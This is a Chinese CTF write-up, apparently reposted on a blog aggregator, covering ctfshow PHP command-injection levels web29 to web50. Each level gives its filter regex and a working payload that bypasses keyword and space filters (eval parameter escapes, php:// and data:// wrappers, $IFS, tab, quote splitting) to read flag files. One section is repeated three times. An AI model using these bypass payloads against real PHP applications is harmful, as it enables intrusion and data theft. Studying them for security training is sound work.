Rce漏洞复习(ctfshow29-50)

news2024/11/17 11:54:03

Rce漏洞简介思维导图

Web29

代码审计:

if(!preg_match("/flag/i", $c)){
        eval($c);

传参没有flag(大小写都没有出现)

Payload:

?c=system("ls");

?c=system("tac *lag.php");

Web30

代码审计:过滤了flag|system|php

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

payload:

?c=echo shell_exec("tac f*");

Web31

代码审计:参数逃逸绕过空格

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

payload:

?c=eval($_GET["p"]);&p=system("tac flag.php");

Web32

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web32

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web32

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))

参数逃逸+为协议绕过+%0a绕过空格

payload

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web33

过滤语句

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web34

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web35

过滤了多一个>

!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=/i", $c)){

过滤内容

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))

参数逃逸+为协议绕过+%0a绕过空格

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Base64解码

Web36

过滤语句(多了对数字的过滤)

if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=|/|[0-9]/i", $c))

payload参数逃逸+为协议绕过+%0a绕过空格,get传参变为a

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

Web37

if(!preg_match("/flag/i", $c)){

        include($c);

        echo $flag;

利用include函数,绕过flag,用data为协议(data://text/plain)

Payload:

?c=data://text/plain,<?php system('tac fl*.*');?>

Web38

if(!preg_match("/flag|php|file/i", $c)){

        include($c);

        echo $flag;    

    }

利用include函数,绕过flag,用data为协议(data://text/plain)

Payload:

?c=data://text/plain,<?php system('tac fl*.*');?>

Web39

if(isset($_GET['c'])){

    $c = $_GET['c'];

    if(!preg_match("/flag/i", $c)){

        include($c.".php");

    }

利用include函数,绕过flag,用data为协议(data://text/plain)

Payload:

?c=data://text/plain,<?php system('tac fl*.*');?>

Web40

正则转换在线网站

RegexperRegular expression visualizer using railroad diagramsicon-default.png?t=N7T8https://regexper.com/

?c=print_r(get_defined_vars());可以输出所有的变量,如果此时通过post传递一个1=phpinfo();,那么打印的变量就会多一个

根据输出内容可以看到post传递的内容在数组的第二个中

通过next即可获取到数组中的第二个数组的指针。并打印出来。

然后利用array_pop()这个函数将数组中的值可以弹出

?c=eval(array_pop((next(get_defined_vars()))));

post中提交 1=system(‘tac flag.php’);

解释:通过post传递一个值,会存储在当前页面的变量中,get_defined_vars()获取当前页面所有变量,next取当前页面变量的第二个,也就是一个数组,array_pop是弹出数组的值,eval执行弹出的值。

Payload(无参rce):

?c=eval(pos(next(get_defined_vars())));

post data:

1=system("tac fla*");

Web41

Web42

system($c." >/dev/null 2>&1");

c参数变量拼接了>/dev/null 2>&1

或运算符绕过,%0a换行绕过

Payload

url + ?c=tac flag.php ||

url +?c=tac flag.php ; ls

url + ?c=tac flag.php%0a

Web43

if(!preg_match("/;|cat|flag/i", $c)){

system($c." >/dev/null 2>&1");

nl,tac绕过cat

c参数变量拼接了>/dev/null 2>&1

或运算符绕过,%0a换行绕过

Payload

url + ?c=tac flag.php ||

url +?c=tac flag.php ; ls

url + ?c=tac flag.php%0a

Web44

if(!preg_match("/;|cat|flag/i", $c)){

    system($c." >/dev/null 2>&1");

Flag绕过方法拼接和*

nl,tac绕过cat

c参数变量拼接了>/dev/null 2>&1

或运算符绕过,%0a换行绕过

Payload

url + ?c=tac fl''ag.php||

url + ?c=tac fl*%0A

Web45

if(!preg_match("/\;|cat|flag| /i", $c)){

    system($c." >/dev/null 2>&1");

过滤了空格

空格绕过

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

Payload

url + ?c=tac%09fl''ag.php||

Web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){

        system($c." >/dev/null 2>&1");

绕过空格

url + ?c=tac%09fl?g.php||

url + ?c=tac%09fl''ag.php||

Web50

if(isset($_GET['c'])){

    $c=$_GET['c'];

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){

        system($c." >/dev/null 2>&1");

    }

}else{

    highlight_file(__FILE__);

}

Payload:

url + ?c=tac<>fl''ag.php||

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1949527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构——排序大汇总(建议收藏)

这篇文章将为大家详细讲解各大排序的基本思想与实现代码~ 内有动图 首先&#xff0c;我们来看常见的排序有以下几大类&#xff1a; 1.插入排序 插入排序的主要思想是将每个位置的元素插入到前面已具备顺序的数组中 实际中我们玩扑克牌时&#xff0c;就用了插入排序的思想 …

Adobe正通过数字体验改变世界

在当今这个数字化飞速发展的时代&#xff0c;Adobe公司正以其创新的技术和卓越的产品引领着创意设计领域的变革。从Adobe发布的生成式AI工具&#xff08;Adobe Firefly&#xff09;&#xff0c;到Illustrator和Photoshop的新AI功能&#xff0c;再到广受认可的Adobe国际认证&…

【Golang 面试基础题】每日 5 题(七)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/UWz06 &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏…

opencv入门(四)

文章目录 一、形态学转换1.1 图像腐蚀1.1.1 erode():用于实现对图像的腐蚀操作1.2 图像膨胀1.2.1 dilate():实现对图像的膨胀操作1.3 图像 开\闭运算、梯度运算、顶帽运算、底帽运算1.3.1 morphologyEx():实现对图像的 开\闭运算、梯度运算、顶帽运算、底帽运算一、形态学转…

DATEDIFF()- Date Functions-SQL函数

DATEDIFF&#xff08;&#xff09;- Date Functions DATEDIFF() 函数是一种用于计算日期差异的常见日期函数。 通常用于比较两个日期之间的时间跨度&#xff0c;以便进行日期计算和分析。 语法 大多数数据库中&#xff0c;DATEDIFF() 函数的语法&#xff1a; DATEDIFF(unit,…

C++ | Leetcode C++题解之第278题第一个错误的版本

题目&#xff1a; 题解&#xff1a; class Solution { public:int firstBadVersion(int n) {int left 1, right n;while (left < right) { // 循环直至区间左右端点相同int mid left (right - left) / 2; // 防止计算时溢出if (isBadVersion(mid)) {right mid; // 答案…

MySQL练习05

题目 步骤 触发器 use mydb16_trigger; #使用数据库create table goods( gid char(8) primary key, name varchar(10), price decimal(8,2), num int);create table orders( oid int primary key auto_increment, gid char(10) not null, name varchar(10), price decima…

Pytorch使用教学6-张量的分割与合并

在使用PyTorch时&#xff0c;对张量的分割与合并是不可避免的操作&#xff0c;本节就带大家深刻理解张量的分割与合并。 在开始之前&#xff0c;我们先对张量的维度进行深入理解&#xff1a; t2 torch.zeros((3, 4)) # tensor([[0., 0., 0., 0.], # [0., 0., 0., 0.…

【PyTorch】基于YOLO的多目标检测项目(二)

【PyTorch】基于YOLO的多目标检测项目&#xff08;一&#xff09; 【PyTorch】基于YOLO的多目标检测项目&#xff08;二&#xff09; YOLO-v3网络由跨距为2的卷积层、跳跃连接层和上采样层组成&#xff0c;没有池化层。网络接收一幅416 * 416的图像作为输入&#xff0c;并提供三…

华为网络模拟器eNSP安装部署教程

eNSP是图形化网络仿真平台&#xff0c;该平台通过对真实网络设备的仿真模拟&#xff0c;帮助广大ICT从业者和客户快速熟悉华为数通系列产品&#xff0c;了解并掌握相关产品的操作和配置、提升对企业ICT网络的规划、建设、运维能力&#xff0c;从而帮助企业构建更高效&#xff0…

数据结构 | LinkedList与链表

前言 ArrayList底层使用连续的空间,任意位置(尤其是0位置下标)插入或删除元素时,需要将该位置后序元素 整体 往前或往后搬移,故时间复杂度为O(N). 优点(给定一个下标,可以快速查找到对应的元素,时间复杂度为O(1))增容需要申请新空间,拷贝数据,释放旧空间,会有不小的消耗.增容一…

Linux进程——环境变量之二

文章目录 环境变量查看环境变量获取环境变量main()的第三个参数本地变量全局环境变量内建命令与常规命令 环境变量 查看环境变量 在上一篇文章中我们只说了查看某个环境变量的值&#xff0c;那么如何查看所有的环境变量呢 使用指令env即可 例如 这里我们也不需要全部记住&a…

FastAPI(七十四)实战开发《在线课程学习系统》接口开发-- 删除留言

源码见&#xff1a;"fastapi_study_road-learning_system_online_courses: fastapi框架实战之--在线课程学习系统" 之前文章FastAPI&#xff08;七十三&#xff09;实战开发《在线课程学习系统》接口开发-- 回复留言&#xff0c;那么我们这次分享删除留言接口的开发…

从0开始的STM32HAL库学习9

定时器输入捕获测频率 生成待测信号 配置环境 选择如上图所示 代码修改 在main函数中加入 HAL_TIM_PWM_Start(&htim2,TIM_CHANNEL_1); 测量信号频率 配置环境 如图所示打开TIM3定时器 1. 设置TI1FP1为ResetMode,即清空计数 2. 使用内部时钟 3. 通道 1 设置为输…

手机怎么设置不同的ip地址

在数字化日益深入的今天&#xff0c;智能手机已成为我们生活、工作和学习中不可或缺的设备。然而&#xff0c;随着网络应用的广泛和深入&#xff0c;我们有时需要为手机设置不同的IP地址来满足特定需求。比如&#xff0c;避免网络限制、提高网络安全、或者进行网络测试等。本文…

tarojs项目启动篇

TaroJS 是一个开放式跨端开发解决方案&#xff0c;使用 React 语法规范来开发多端应用&#xff08;包括小程序、H5、React Native 等&#xff09;。它可以帮助开发者高效地构建出在不同端上运行一致的应用。以下是启动 TaroJS 项目&#xff08;本来就有的旧项目&#xff09;的步…

经典文献阅读之--LIV-GaussMap(实时3D辐射场地图渲染的LiDAR惯性视觉融合算法)

Tip: 如果你在进行深度学习、自动驾驶、模型推理、微调或AI绘画出图等任务&#xff0c;并且需要GPU资源&#xff0c;可以考虑使用UCloud云计算旗下的Compshare的GPU算力云平台。他们提供高性价比的4090 GPU&#xff0c;按时收费每卡2.6元&#xff0c;月卡只需要1.7元每小时&…

一文总结代理:代理模式、代理服务器

概述 代理在计算机编程领域&#xff0c;是一个很通用的概念&#xff0c;包括&#xff1a;代理设计模式&#xff0c;代理服务器等。 代理类持有具体实现类的实例&#xff0c;将在代理类上的操作转化为实例上方法的调用。为某个对象提供一个代理&#xff0c;以控制对这个对象的…

Haproxy 下载、编译部署、使用

文章目录 前言Haproxy 下载、编译部署、使用1. 下载2. 编译部署3. 使用3.1. 验证配置文件3.2. 启动 HAProxy 并指定配置文件路径3.3. 关闭HAProxy3.4. 重载HAProxy 3. 测试 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&am…

go-kratos 学习笔记(7) 服务发现服务间通信grpc调用

服务发现 Registry 接口分为两个&#xff0c;Registrar 为实例注册和反注册&#xff0c;Discovery 为服务实例列表获取 创建一个 Discoverer 服务间的通信使用的grpc&#xff0c;放到data层&#xff0c;实现的是从uses服务调用orders服务 app/users/internal/data.go 加入 New…